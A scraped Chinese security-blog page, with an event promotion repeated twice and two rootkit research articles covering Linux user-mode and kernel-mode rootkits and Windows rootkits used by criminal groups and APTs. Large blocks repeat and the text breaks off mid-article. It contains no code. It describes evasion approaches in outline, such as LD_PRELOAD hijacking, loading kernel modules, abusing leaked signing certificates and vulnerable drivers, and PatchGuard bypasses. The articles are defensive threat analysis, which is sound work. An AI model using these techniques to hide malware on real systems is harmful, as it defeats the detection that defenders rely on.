久等了各位，虎年第一场沙龙带着满满干货来了！深信服千里目安全实验室与知道创宇404 实验室联手，为大家打造一场深度高质量的「目极千里 洞见安全」安全技术分享沙龙。
4月16日14：00-18：00「目极千里 洞见安全」第五期，正式开播，期待您的参与！
四位技术研究达人将围绕 Chrome V8 利用脚本、Magnitude exploit kit 分析、WebKit JSC 引擎与漏洞原理、高隐藏持久化技术取证等议题进行分享，部分内容还会现场演示，让各位技术爱好者收获满满！更有多重好礼直播间抽奖赠送，知道创宇404实验室《404 Paper精粹》2021年套册、知道创宇 404 实验室礼包（棒球帽、鼠标垫、贴纸）、深信服 SRC 周边礼包（文化衫、帆布包、口罩） 等礼品等着你~
↓一张图了解本期精彩亮点↓
添加小千微信：Sangfor_Further_eye
进入「目极千里 洞见安全」线上沙龙活动群
报名参与直播吧！
久等了各位，虎年第一场沙龙带着满满干货来了！深信服千里目安全实验室与知道创宇404 实验室联手，为大家打造一场深度高质量的「目极千里 洞见安全」安全技术分享沙龙。
4月16日14：00-18：00「目极千里 洞见安全」第五期，正式开播，期待您的参与！
四位技术研究达人将围绕 Chrome V8 利用脚本、Magnitude exploit kit 分析、WebKit JSC 引擎与漏洞原理、高隐藏持久化技术取证等议题进行分享，部分内容还会现场演示，让各位技术爱好者收获满满！更有多重好礼直播间抽奖赠送，知道创宇404实验室《404 Paper精粹》2021年套册、知道创宇 404 实验室礼包（棒球帽、鼠标垫、贴纸）、深信服 SRC 周边礼包（文化衫、帆布包、口罩） 等礼品等着你~
↓一张图了解本期精彩亮点↓
添加小千微信：Sangfor_Further_eye
进入「目极千里 洞见安全」线上沙龙活动群
报名参与直播吧！
序言
从西方APT组织的攻击历史及已经泄露的网络武器看，高隐匿、高持久化(Low&Slow)是其关键特征，而 Rootkit 则是达成此目的的重要技术之一。
在“【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁”里，我们介绍了Windows Rootkit的生存期，可达成的效果，运用这项技术展开攻击的可行性以及这项技术的发展现状。除了Windows操作系统，Linux、Mac OS等同样受Rootkit关注。在本文中，我们将目光投向Linux操作系统。我们首先对近年来用户态Rootkit在黑产组织中的广泛使用进行讨论，接着介绍内核态Rootkit的高度定制化需求和Linux系统上存在的其他类型Rootkit，最后从攻防视角对Rootkit进行总结。
难以检测的Linux Rootkit
想象以下场景：由于业务需要，你们公司稳定运行多年的某台Linux服务器需要进行系统升级，在完成升级后，你偶然注意到服务器上多了几个看起来像系统文件的文件（夹），你的第一反应是什么？这是新版本引入的系统文件，pass？有点可疑，去搜索引擎查询这些文件名是否正常？小心！任何一丝异常的背后都可能潜藏着巨大的危险。
Rootkit在几乎所有操作系统上都是最具挑战性的恶意软件类型，它利用操作系统代码中的疏忽，隐藏它的存在和恶意行为。制作精良的Rootkit可以在受害主机长期驻留，让主机在用户视角和部分内核视角没有任何感知，进而很难通过系统提供的检测工具以及常规的防病毒软件进行检测和清除。
用户态倍受黑产青睐
Linux Rootkit运行时所处的层次分用户层和内核层两种。对于运行于用户层的用户态Rootkit，它所涉及的技术简单且成熟，例如替换系统文件，动态链接库劫持等。对近两年曝光的黑产组织攻击样本进行分析，我们发现越来越多的黑产组织以某些开源Rootkit为基础，将用户态Rootkit技术加入自己的技术栈。
进一步讲，黑产组织喜欢将用户态Rootkit作为其攻击链中multi-stage-malware的一部分，即他们没有将Rootkit功能集成在原本的挖矿或僵尸网络样本中，而是在原有恶意软件的基础上新增Rootkit，用于实现隐藏文件等新的功能，以规避安全公司提出的感染检测方案：“通过检查某些路径、文件的存在与否，判断某主机是否受到某恶意软件的影响”。
根据某海外安全厂商2020年底的报告，H2Miner挖矿家族开始使用新的Rootkit样本。该Rootkit修改自开源项目“beurk”，它使用LD_PRELOAD技术劫持动态链接过程，将磁盘上的挖矿文件“kinsing”以及正在运行的相关进程隐藏。这使得IT管理员在感知到系统运行速度无故变慢后，无法通过“top”命令看到占用大量CPU资源的挖矿进程。值得一提的是，H2Miner家族目前仍十分活跃，我们发现2021年底该家族使用Log4j漏洞进行挖矿软件传播。（链接：12.12 Log4j RCE 黑产从业者的狂欢）
2021年我们还观测到活跃的TeamT/N/T挖矿家族使用的Rootkit样本（链接：1.10 2021挖矿木马趋势报告）。该家族除了利用修改自开源项目“Diamorphine”的内核态Rootkit之外，还在用户层替换了ps、top等系统命令文件，当使用这些命令进行排查时，挖矿的相关痕迹会被隐藏。具体代码如图：
2021年4月，某海外安全厂商曝光了一种新型远控程序Facefish，他们怀疑攻击者正在进行僵尸网络组网，并计划在组网完成后，以“访问权限即服务”（access-as-a-service）的方式出售该网络的访问权限。Facefish远控通过第一阶段的dropper释放出一个Rootkit，Rootkit利用用户态常用的动态链接库劫持技术，实现ssh、sshd的运行时链接程序劫持，最终在受害主机上放置一个后门。事实上，对于一个Rootkit程序，Facefish的这种用法十分原始，因为它仅利用了Rootkit的触发机制，恶意so文件中还可以增加一系列隐藏功能。动态链接库劫持效果如图：
为了降低被怀疑的概率，上述组织使用的恶意动态链接库分别命名为libsystem.so、libs.so，它们刻意模仿Linux的系统自带程序文件名，并驻留在系统文件路径下，企图蒙蔽服务器管理员。
试想如果你在包含上百个so文件，并且这些文件的文件名均以“lib”开头的文件夹/lib64中看到了libs.so，这会引起你的怀疑吗？不过对于防御的一方，上述场景并不会让人夜不能寐，因为针对用户态Rootkit，有诸如文件完整性检测、交叉视图等十分成熟的检测技术。归根结底，这些Rootkit都只运行在用户层，当防御措施深入进操作系统内核，从底向上看，他们通通无处遁形。
内核态的高度定制化
防御方可以深入Linux操作系统内核进行防守，攻击的一方当然也可以进入内核层进行攻击。越接近Linux操作系统底层内核代码，Rootkit的开发难度越大，对其进行检测的难度也越高。对攻击者来说，高投入通常意味着更有价值的攻击目标和更高的回报，如果开发得当，Rootkit可以长期藏匿在目标机器中，所以内核态Rootkit也是攻击者关注的重点。
传统的内核态Rootkit使用可加载内核模块（LKM）技术进入内核层后，在内核层进行“hook”。从执行在用户态的程序调用“int 0x80”陷入内核开始，整个系统调用流程中的任何一个位置，都可能成为内核态Rootkit进行hook的目标，围绕“hook什么”，“如何hook”这两个问题，出现了近十种内核态Rootkit技术。
与用户态Rootkit不同，由于内核态Rootkit直接对Linux内核源代码进行操纵，所以对Rootkit有极高的定制化要求。这是因为经过多年的发展，Linux的内核版本众多，每个版本的内核代码都有或多或少的修改，攻击者开发的某个内核态Rootkit可以在A版本上正常运行，很可能在B版本上完全失效，这就可能出现文章开头提到的那一幕。
前文提到的TeamT/N/T挖矿家族除了在用户态替换系统命令文件外，还使用内核态Rootkit技术，将恶意内核模块diamorphine.ko加载进内核，实现进程、模块、文件目录的隐藏以及用户权限的提升。该挖矿家族以云主机为目标，Rootkit只能在2.6.x、3.x、4.x内核版本上正常运行，具体实现如图：
除了黑产，APT组织发起的定向攻击中也用到了内核态Rootkit。APT组织对隐蔽性有更高的要求，这也给信息收集环节提出了更大的挑战，APT组织需要清楚的知道某次定向攻击的目标所使用Linux服务器的内核版本号。在必要条件下，APT组织可以拿到与目标服务器完全相同的实体，并直接在其上进行Rootkit开发。例如震网病毒事件中，攻击者对目标设备了如指掌，而后在恶意代码中加入了严苛的环境判断。再例如2020年曝光，据称由APT28开发的内核态Rootkit Drovorub，它针对3.7以下版本的Linux内核，特别是Red Hat发行版进行攻击。
内核态攻防进入深水区
Rootkit最关键的要点是隐藏，而隐藏意味着攻击者清楚的知道为什么某个文件（夹）会显示，为什么某个网络连接可被观测，然后对这些显示的机制进行绕过，以达到隐藏的效果。攻击者知道的这些机制，防御方当然也知道，并且对其开展检测，而攻击者进一步进行绕过，随后便产生了攻防双方的猫鼠游戏。Linux内核态Rootkit攻防的本质，是双方谁对操作系统底层技术更加了解。继续深入Linux内核，有没有更加底层的Rootkit技术？答案当然是有，而且近年来越来越多。
2015年，Ryan利用Linux内核中的kprobe机制实现了Rootkit。Kprobe是Linux内核开发者用于内核函数跟踪的一种轻量级内核调试技术，这个Rootkit展示了利用基于kprobe机制进行hook，实现Rootkit功能的可行性。
2016年，Michael在Blackhat上提出了一种基于命名空间的新型Linux Rootkit——Horse Pill，它在操作系统启动过程中劫持虚拟根文件系统initrd（boot loader initialized RAM disk），使受攻击的服务器进入另一个由攻击者创建的“楚门的世界”（即一个子命名空间）。在这个子命名空间中，用户所有的操作都能正常执行，但完全意识不到还存在另一个并行运行的，由攻击者所控制的“真实世界”。
在kprobe的基础上，Linux 4.0以上版本增加了eBPF技术，该技术可以在不加载内核模块的前提下，在Linux内核中运行用户编写的程序。Guillaume在2021年Blackhat上公开了基于eBPF的Rootkit。
总结
虽然kprobe、Horse Pill、eBPF在内核更加底层的位置完成了Rootkit的隐藏功能，但是痕迹是否真的隐藏，会根据观测的视角而大不相同。理论上不存在没有任何痕迹的Rootkit，总有某些角度可以观测到系统出现了异常，因为如果一个程序在所有视角都隐藏，那么攻击者也无法对它进行控制。上述这些技术可以被攻击者所利用，而防御方同样可以利用它们。现在各安全公司已利用它们设计功能更强大的安全软件，对系统进行监控。
我们已经深入Linux内核深处，是否还存在更加底层的Rootkit？2021年12月28日，海外某安全公司给出了突破操作系统的答案。他们发现了固件Rootkit“iLOBleed”，其隐藏在惠普固件HP iLO 上，同时可以以最高权限访问和修改设备上所有的软硬件资源。
事实上，对于现有的高级Rootkit，安全软件已经非常难以检测，通常需要安全专家人工介入分析，可以想象某些由APT组织定向投递的Rootkit正在受害机器中潜伏。对Rootkit技术进行研究，不是去解决想象中的问题，而是回应真实的ring0世界。
参考资料
https://www.4hou.com/posts/vLmm
https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html
https://therecord.media/malware-campaign-targets-server-hosting-software-cwp/
https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamT/N/T.pdf
https://github.com/elfmaster/kprobe_rootkit
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-With-Friends-Like-EBPF-Who-Needs-Enemies.pdf
https://www.secureworld.io/industry-news/access-as-a-service-rising-in-popularity
https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/
https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/
序言
从西方APT组织的攻击历史及已经泄露的网络武器看，高隐匿、高持久化(Low&Slow)是其关键特征，而 Rootkit 则是达成此目的的重要技术之一。
在“【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁”里，我们介绍了Windows Rootkit的生存期，可达成的效果，运用这项技术展开攻击的可行性以及这项技术的发展现状。除了Windows操作系统，Linux、Mac OS等同样受Rootkit关注。在本文中，我们将目光投向Linux操作系统。我们首先对近年来用户态Rootkit在黑产组织中的广泛使用进行讨论，接着介绍内核态Rootkit的高度定制化需求和Linux系统上存在的其他类型Rootkit，最后从攻防视角对Rootkit进行总结。
难以检测的Linux Rootkit
想象以下场景：由于业务需要，你们公司稳定运行多年的某台Linux服务器需要进行系统升级，在完成升级后，你偶然注意到服务器上多了几个看起来像系统文件的文件（夹），你的第一反应是什么？这是新版本引入的系统文件，pass？有点可疑，去搜索引擎查询这些文件名是否正常？小心！任何一丝异常的背后都可能潜藏着巨大的危险。
Rootkit在几乎所有操作系统上都是最具挑战性的恶意软件类型，它利用操作系统代码中的疏忽，隐藏它的存在和恶意行为。制作精良的Rootkit可以在受害主机长期驻留，让主机在用户视角和部分内核视角没有任何感知，进而很难通过系统提供的检测工具以及常规的防病毒软件进行检测和清除。
用户态倍受黑产青睐
Linux Rootkit运行时所处的层次分用户层和内核层两种。对于运行于用户层的用户态Rootkit，它所涉及的技术简单且成熟，例如替换系统文件，动态链接库劫持等。对近两年曝光的黑产组织攻击样本进行分析，我们发现越来越多的黑产组织以某些开源Rootkit为基础，将用户态Rootkit技术加入自己的技术栈。
进一步讲，黑产组织喜欢将用户态Rootkit作为其攻击链中multi-stage-malware的一部分，即他们没有将Rootkit功能集成在原本的挖矿或僵尸网络样本中，而是在原有恶意软件的基础上新增Rootkit，用于实现隐藏文件等新的功能，以规避安全公司提出的感染检测方案：“通过检查某些路径、文件的存在与否，判断某主机是否受到某恶意软件的影响”。
根据某海外安全厂商2020年底的报告，H2Miner挖矿家族开始使用新的Rootkit样本。该Rootkit修改自开源项目“beurk”，它使用LD_PRELOAD技术劫持动态链接过程，将磁盘上的挖矿文件“kinsing”以及正在运行的相关进程隐藏。这使得IT管理员在感知到系统运行速度无故变慢后，无法通过“top”命令看到占用大量CPU资源的挖矿进程。值得一提的是，H2Miner家族目前仍十分活跃，我们发现2021年底该家族使用Log4j漏洞进行挖矿软件传播。（链接：12.12 Log4j RCE 黑产从业者的狂欢）
2021年我们还观测到活跃的TeamT/N/T挖矿家族使用的Rootkit样本（链接：1.10 2021挖矿木马趋势报告）。该家族除了利用修改自开源项目“Diamorphine”的内核态Rootkit之外，还在用户层替换了ps、top等系统命令文件，当使用这些命令进行排查时，挖矿的相关痕迹会被隐藏。具体代码如图：
2021年4月，某海外安全厂商曝光了一种新型远控程序Facefish，他们怀疑攻击者正在进行僵尸网络组网，并计划在组网完成后，以“访问权限即服务”（access-as-a-service）的方式出售该网络的访问权限。Facefish远控通过第一阶段的dropper释放出一个Rootkit，Rootkit利用用户态常用的动态链接库劫持技术，实现ssh、sshd的运行时链接程序劫持，最终在受害主机上放置一个后门。事实上，对于一个Rootkit程序，Facefish的这种用法十分原始，因为它仅利用了Rootkit的触发机制，恶意so文件中还可以增加一系列隐藏功能。动态链接库劫持效果如图：
为了降低被怀疑的概率，上述组织使用的恶意动态链接库分别命名为libsystem.so、libs.so，它们刻意模仿Linux的系统自带程序文件名，并驻留在系统文件路径下，企图蒙蔽服务器管理员。
试想如果你在包含上百个so文件，并且这些文件的文件名均以“lib”开头的文件夹/lib64中看到了libs.so，这会引起你的怀疑吗？不过对于防御的一方，上述场景并不会让人夜不能寐，因为针对用户态Rootkit，有诸如文件完整性检测、交叉视图等十分成熟的检测技术。归根结底，这些Rootkit都只运行在用户层，当防御措施深入进操作系统内核，从底向上看，他们通通无处遁形。
内核态的高度定制化
防御方可以深入Linux操作系统内核进行防守，攻击的一方当然也可以进入内核层进行攻击。越接近Linux操作系统底层内核代码，Rootkit的开发难度越大，对其进行检测的难度也越高。对攻击者来说，高投入通常意味着更有价值的攻击目标和更高的回报，如果开发得当，Rootkit可以长期藏匿在目标机器中，所以内核态Rootkit也是攻击者关注的重点。
传统的内核态Rootkit使用可加载内核模块（LKM）技术进入内核层后，在内核层进行“hook”。从执行在用户态的程序调用“int 0x80”陷入内核开始，整个系统调用流程中的任何一个位置，都可能成为内核态Rootkit进行hook的目标，围绕“hook什么”，“如何hook”这两个问题，出现了近十种内核态Rootkit技术。
与用户态Rootkit不同，由于内核态Rootkit直接对Linux内核源代码进行操纵，所以对Rootkit有极高的定制化要求。这是因为经过多年的发展，Linux的内核版本众多，每个版本的内核代码都有或多或少的修改，攻击者开发的某个内核态Rootkit可以在A版本上正常运行，很可能在B版本上完全失效，这就可能出现文章开头提到的那一幕。
前文提到的TeamT/N/T挖矿家族除了在用户态替换系统命令文件外，还使用内核态Rootkit技术，将恶意内核模块diamorphine.ko加载进内核，实现进程、模块、文件目录的隐藏以及用户权限的提升。该挖矿家族以云主机为目标，Rootkit只能在2.6.x、3.x、4.x内核版本上正常运行，具体实现如图：
除了黑产，APT组织发起的定向攻击中也用到了内核态Rootkit。APT组织对隐蔽性有更高的要求，这也给信息收集环节提出了更大的挑战，APT组织需要清楚的知道某次定向攻击的目标所使用Linux服务器的内核版本号。在必要条件下，APT组织可以拿到与目标服务器完全相同的实体，并直接在其上进行Rootkit开发。例如震网病毒事件中，攻击者对目标设备了如指掌，而后在恶意代码中加入了严苛的环境判断。再例如2020年曝光，据称由APT28开发的内核态Rootkit Drovorub，它针对3.7以下版本的Linux内核，特别是Red Hat发行版进行攻击。
内核态攻防进入深水区
Rootkit最关键的要点是隐藏，而隐藏意味着攻击者清楚的知道为什么某个文件（夹）会显示，为什么某个网络连接可被观测，然后对这些显示的机制进行绕过，以达到隐藏的效果。攻击者知道的这些机制，防御方当然也知道，并且对其开展检测，而攻击者进一步进行绕过，随后便产生了攻防双方的猫鼠游戏。Linux内核态Rootkit攻防的本质，是双方谁对操作系统底层技术更加了解。继续深入Linux内核，有没有更加底层的Rootkit技术？答案当然是有，而且近年来越来越多。
2015年，Ryan利用Linux内核中的kprobe机制实现了Rootkit。Kprobe是Linux内核开发者用于内核函数跟踪的一种轻量级内核调试技术，这个Rootkit展示了利用基于kprobe机制进行hook，实现Rootkit功能的可行性。
2016年，Michael在Blackhat上提出了一种基于命名空间的新型Linux Rootkit——Horse Pill，它在操作系统启动过程中劫持虚拟根文件系统initrd（boot loader initialized RAM disk），使受攻击的服务器进入另一个由攻击者创建的“楚门的世界”（即一个子命名空间）。在这个子命名空间中，用户所有的操作都能正常执行，但完全意识不到还存在另一个并行运行的，由攻击者所控制的“真实世界”。
在kprobe的基础上，Linux 4.0以上版本增加了eBPF技术，该技术可以在不加载内核模块的前提下，在Linux内核中运行用户编写的程序。Guillaume在2021年Blackhat上公开了基于eBPF的Rootkit。
总结
虽然kprobe、Horse Pill、eBPF在内核更加底层的位置完成了Rootkit的隐藏功能，但是痕迹是否真的隐藏，会根据观测的视角而大不相同。理论上不存在没有任何痕迹的Rootkit，总有某些角度可以观测到系统出现了异常，因为如果一个程序在所有视角都隐藏，那么攻击者也无法对它进行控制。上述这些技术可以被攻击者所利用，而防御方同样可以利用它们。现在各安全公司已利用它们设计功能更强大的安全软件，对系统进行监控。
我们已经深入Linux内核深处，是否还存在更加底层的Rootkit？2021年12月28日，海外某安全公司给出了突破操作系统的答案。他们发现了固件Rootkit“iLOBleed”，其隐藏在惠普固件HP iLO 上，同时可以以最高权限访问和修改设备上所有的软硬件资源。
事实上，对于现有的高级Rootkit，安全软件已经非常难以检测，通常需要安全专家人工介入分析，可以想象某些由APT组织定向投递的Rootkit正在受害机器中潜伏。对Rootkit技术进行研究，不是去解决想象中的问题，而是回应真实的ring0世界。
参考资料
https://www.4hou.com/posts/vLmm
https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html
https://therecord.media/malware-campaign-targets-server-hosting-software-cwp/
https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamT/N/T.pdf
https://github.com/elfmaster/kprobe_rootkit
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-With-Friends-Like-EBPF-Who-Needs-Enemies.pdf
https://www.secureworld.io/industry-news/access-as-a-service-rising-in-popularity
https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/
https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/
从西方APT组织的攻击历史及已经泄露的网络武器看，高隐藏、高持久化(Low&Slow)是其关键特征，而 Rootkit 则是达成此目的的重要技术之一。
在上一篇文章“【Rootkit 系列研究】序章：悬顶的达摩克利斯之剑”里，我们介绍了Rootkit的技术发展历程、Rootkit背后的影子以及 Rootkit 检测基本思想。本文首先从Rootkit的生存期、可达成的效果，以及运用这项技术展开攻击的可行性和Windows Rootkit现状分析四个角度展开讨论，并结合历史攻击事件，分析掌握这项技术的APT组织所关注的目标群体和可能造成的影响，最后总结Rootkit在不同层次攻击活动中所处的地位。
当你听到Rootkit时，你的第一反应是什么，高难度、高隐藏？是的，近年来，随着Windows安全机制的不断完善，往Windows系统中植入一个Rootkit的技术门槛也被不断拔高。可就算Rootkit在所有安全产品检出的恶意软件中占比率极低，也并不代表它带来的威胁就可以忽略，恰恰相反，Rootkit的高门槛使其更多地被运用在更高质量的攻击活动中，从这一角度来看，每一个客户场景出现的Rootkit背后都可能隐藏着长期的攻击活动。
对于攻击者来说，高投入的同时也意味着高收益，开发一款Rootkit不算简单，但发现一个Rootkit同样不简单，一个普通恶意样本的生存期可能在投入使用时便结束了，而一个Rootkit的生存期可以长达数年，甚至更久。
从Vista开始Windows会对加载的驱动进行签名验证，这使得攻击者的植入成本变高，而PatchGuard也增加了攻击者对系统内核篡改的成本。基于此，Windows Rootkit在野的声音仿佛小了许多，我们对它的关注度也在降低，但它带来的威胁真的就可以忽视了吗？还是说更应该理解为“小声音，高威胁”。
从下图我们可以看出，无论Windows Rootkit在野声音有多小，它都未曾消失过。
让我们把APT攻击的阶段简化，在初始打点阶段攻击者可能会采用漏洞利用或钓鱼攻击，毫无疑问，近几年也是钓鱼攻击大行其道地几年。
以文档钓鱼为例，收到的钓鱼邮件可能会像这样
当然，我们也可能收到伪装成文档的PE文件
它也有可能长这样
尽管形式还算多样，但细心的你一定已经发现了，它们或多或少都存在着一些可识别的特征，在经历过钓鱼的反复洗礼后，甚至会有部分人不管什么邮件都直接丢VT跑一圈（当然这样做不好，毕竟误传敏感文件还是比较严重的），这些特征让攻击活动变得非常容易暴露。
再假定攻击活动已经进行到权限维持之后，我们也会排查到下述类似情况。
当然，这样做会显得有些过于直接，攻击者可能会采用更为复杂的手法，比如DLL劫持，一方面避免了持久化的痕迹，另一方面在免杀上也取得了一定效果，但我们仍然可以观测到。
这样来看，发现一个异常也不算太难，对吧，毕竟攻击者在每个环节都或多或少地留下了一些痕迹，无论我们哪个环节捕获到了威胁，都可以向前和向后反溯，还原攻击链路。但由于真实环境足够复杂，也不是所有人员都具备安全知识和安全意识，导致攻击活动通常也能成功，甚至持续很长时间不被发现。但至少，当你感知到它可能存在威胁时，还是能比较容易地发现它。
那么，这样的威胁我们还是可以称之为“摆在明面上”的威胁，你只需要更加耐心和细心地将它们找出来，而随着安全体系建设地逐渐完整和全员安全意识地不断提高，此类攻击的生存期也会不断缩短。
回过头来，我们再看一看Windows Rootkit，历史上APT组织Strider曾利用一款名为Remsec的恶意软件对多个国家，包括政府机构在内的系统进行了长达五年之久的监控。
其实这里少说了一个词“至少”，该Rootkit帮助攻击者完成了至少长达五年的攻击活动，这期间包括俄罗斯、伊朗、卢旺达、中国、瑞典、比利时在内的多个国家的政府机构、科学研究中心、军事组织、电信提供商和金融机构都有被感染。
且该Rootkit的功能非常完善，具有密码窃取、键盘记录、后门控制等多种功能，试想这样一个恶意软件对上述目标进行着长达至少五年的监控，是否足够让人警惕呢？
Remsec被发现之时，研究员们对它的评价是“一种几乎不可能被检测到的恶意软件”，而这也是一直以来大家对Rootkit的认识，这一点是否非常值得我们深思呢，究竟是Windows Rootkit慢慢销声匿迹了，还是受限于能力不足导致其检出率如此之低，而生存期又如此之长呢？
其实对于攻击者来说，打点技巧是多种多样的，并不一定要选择像钓鱼这样会留下明显痕迹的技巧，对于那些使用未知技巧，甚至是0day进行攻击的活动，我们想要在打点阶段捕获它们的可能性较低，这种情况下，捕获攻击者在后门植入、持久化等阶段留下的痕迹，并基于此反溯，还原攻击链路会是一个不错的选择，而Rootkit会把这些痕迹通通隐藏，让我们的命中难度剧增。下图显示了近年来在野0day数量。
3. 从达成效果看Windows Rootkit
那么Rootkit究竟能达成什么样的效果呢？
以一个操作图形接口的Rootkit为例，它在任务管理器中隐藏了calc.exe
换句话说，Rootkit可以把攻击者不想让你发现的攻击痕迹进行隐藏，比如我们在进程异常排查中，会关注那些有着异常通信或是可疑模块加载的进程。
以白加黑技术为例，该技术虽然能在免杀上取得良好效果，但如果同时存在异常通信和可疑模块(未签名的dll)，我们就还是能较为容易地定位到异常点。
而通过一些简单的技巧，就可以在一定程度上对白加黑利用中的恶意dll进行隐藏。
而Rootkit能达成的隐藏效果，会远胜于上图情况，当使用Rootkit从分析工具中彻底隐去这些异常点时，你还能快速地判定该进程有问题吗？
当然，此处仅是过滤了异常模块，这也只是Rootkit能做到的一小部分，除此以外，服务、端口、流量等也都可以通过Rootkit进行操作，那么你想看到什么，攻击者就可以让你看到什么，“摆在明面上”的威胁就转变成了“隐藏在暗地里”的威胁，想在主机上发现异常就会变得极其困难。
前面的内容提到，Windows引入了两大安全机制来对抗Rootkit，分别是签名验证和PatchGuard，我们将针对这两个点分别展开讨论。
关于这部分内容，国外安全研究员Bill Demirkapi在Black Hat 2021的议题《Demystifying Modern Windows Rootkits》中给出了答案，相应的解决方案分别为直接购买、滥用泄露证书和寻找“0day”驱动。
这种方式其实没什么好说的，攻击者唯一需要考虑的问题，就是购买渠道是否足够可靠，是否存在身份暴露的风险。
从可行性上来说，Windows根本不关心证书是否已经过期或者已经被吊销，通过泄露的证书，攻击者就可以生成在任意Windows版本下都有效的驱动签名。
由于不需要购买证书，在降低成本的同时也避免了因购买渠道不可靠而暴露身份的风险，此外，通过这种方式进行植入所需的前置条件也不算多，与挖掘“0day”驱动的方式相比，技术难度降低很多，当然，掌握了泄露证书的情报后，相关安全厂商可以针对此类Rootkit进行查杀拦截。
下图是收集到的一些历史泄露证书，从此图可以看出泄露的情报并不少见。
从可行性来说，一定存在着可被利用的“0day”驱动，而历史上，就曾有知名的APT组织利用具有合法签名驱动程序来进行恶意驱动的加载，该组织是俄罗斯APT黑客组织Turla，它利用的合法驱动为VirtualBox，下文是对该利用过程的描述
网上有着包含win7、win10在内的不少开源项目，攻击者可通过集成这些项目绕过PatchGuard，往内核中植入恶意代码，实现Rootkit功能
5. 从现状来看Windows Rootkit
当我们尝试在VT上进行Hunting，会发现无效证书的利用非常普遍
其实，就算你遇到一个有着合法签名的Rootkit也不算什么新鲜事了。
回过头来单看2021，Windows Rootkit攻击更多地集中在游戏行业（我想，这也是它们相对而言较快暴露的一个原因，传播量变大的同时，也遭受了更多的关注），但当Rootkit调转*头对准更高价值的目标时，当它们的目的不再是简单地获利时，当它们的动静更小，隐藏更具针对性时，我们是否做好应对准备了呢？毕竟从技术角度而言，APT组织又有什么理由拒绝Rootkit呢?
值得注意的是，当APT组织拿起Rootkit这个武器时，它们*头要对准的将会是包括政府、军事在内的各种重要组织机构，它们的目的将不再是简单地获利，而是对目标地长期监控和重要情报的窃取，这一点从历史APT运用Rootkit进行的攻击事件中不难发现。
基于社工和钓鱼结合的攻击活动虽能以较小的成本拿下目标，但留下的明显痕迹会导致其生存期骤减，很容易在打点阶段就暴露，而通过其它未知渠道打点后，借助合法进程、机制完成恶意活动(如Lazarus对Get-MpPreference的利用)，或通过白加黑(如dll劫持，LOLBINS)等方式进行后门安置和权限维持等，虽然在免杀层面有着不错的效果，却不能很好地隐匿攻击痕迹。
Rootkit更多地对应在后门安置、持久化阶段，掌握这项技术的攻击者也会有着更高的技术水平，他们或许会更青睐于一些高级的打点技巧，以降低每个环节被捕获的可能性，当然，越高价值的目标越会吸引更高成本的投入，我们想要从容应对也就更加困难，而事实上，是否有APT组织正利用着此技术进行攻击活动也尚未可知。
参考链接：
1.https://en.wikipedia.org/wiki/Project_Sauron
2.https://en.wikipedia.org/wiki/Project_Sauron
3.https://www.sciencealert.com/scientists-just-found-an-advanced-form-of-malware-that-s-been-hiding-for-at-least-5-years
4.https://arstechnica.com/information-technology/2016/08/researchers-crack-open-unusually-advanced-malware-that-hid-for-5-years/
5.https://arstechnica.com/information-technology/2016/08/researchers-crack-open-unusually-advanced-malware-that-hid-for-5-years/
6.https://www.inverse.com/article/19401-project-sauron-malware-strider
7.https://www.infosecurity-magazine.com/news/project-sauron-has-been-spying/
8.https://www.infosecurity-magazine.com/news/project-sauron-has-been-spying/
9.https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/
10.https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/
11.https://i.blackhat.com/USA-20/Wednesday/us-20-Demirkapi-Demystifying-Modern-Windows-Rootkits.pdf
12.https://www.lastline.com/labsblog/dissecting-turla-rootkit-malware-using-dynamic-analysis/
13.https://www.chinaz.com/2021/1022/1319390.shtml
本文作者：Further_eye
本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/?p=172925
从西方APT组织的攻击历史及已经泄露的网络武器看，高隐藏、高持久化(Low&Slow)是其关键特征，而 Rootkit 则是达成此目的的重要技术之一。
在上一篇文章“【Rootkit 系列研究】序章：悬顶的达摩克利斯之剑”里，我们介绍了Rootkit的技术发展历程、Rootkit背后的影子以及 Rootkit 检测基本思想。本文首先从Rootkit的生存期、可达成的效果，以及运用这项技术展开攻击的可行性和Windows Rootkit现状分析四个角度展开讨论，并结合历史攻击事件，分析掌握这项技术的APT组织所关注的目标群体和可能造成的影响，最后总结Rootkit在不同层次攻击活动中所处的地位。
当你听到Rootkit时，你的第一反应是什么，高难度、高隐藏？是的，近年来，随着Windows安全机制的不断完善，往Windows系统中植入一个Rootkit的技术门槛也被不断拔高。可就算Rootkit在所有安全产品检出的恶意软件中占比率极低，也并不代表它带来的威胁就可以忽略，恰恰相反，Rootkit的高门槛使其更多地被运用在更高质量的攻击活动中，从这一角度来看，每一个客户场景出现的Rootkit背后都可能隐藏着长期的攻击活动。
对于攻击者来说，高投入的同时也意味着高收益，开发一款Rootkit不算简单，但发现一个Rootkit同样不简单，一个普通恶意样本的生存期可能在投入使用时便结束了，而一个Rootkit的生存期可以长达数年，甚至更久。
从Vista开始Windows会对加载的驱动进行签名验证，这使得攻击者的植入成本变高，而PatchGuard也增加了攻击者对系统内核篡改的成本。基于此，Windows Rootkit在野的声音仿佛小了许多，我们对它的关注度也在降低，但它带来的威胁真的就可以忽视了吗？还是说更应该理解为“小声音，高威胁”。
从下图我们可以看出，无论Windows Rootkit在野声音有多小，它都未曾消失过。
让我们把APT攻击的阶段简化，在初始打点阶段攻击者可能会采用漏洞利用或钓鱼攻击，毫无疑问，近几年也是钓鱼攻击大行其道地几年。
以文档钓鱼为例，收到的钓鱼邮件可能会像这样
当然，我们也可能收到伪装成文档的PE文件
它也有可能长这样
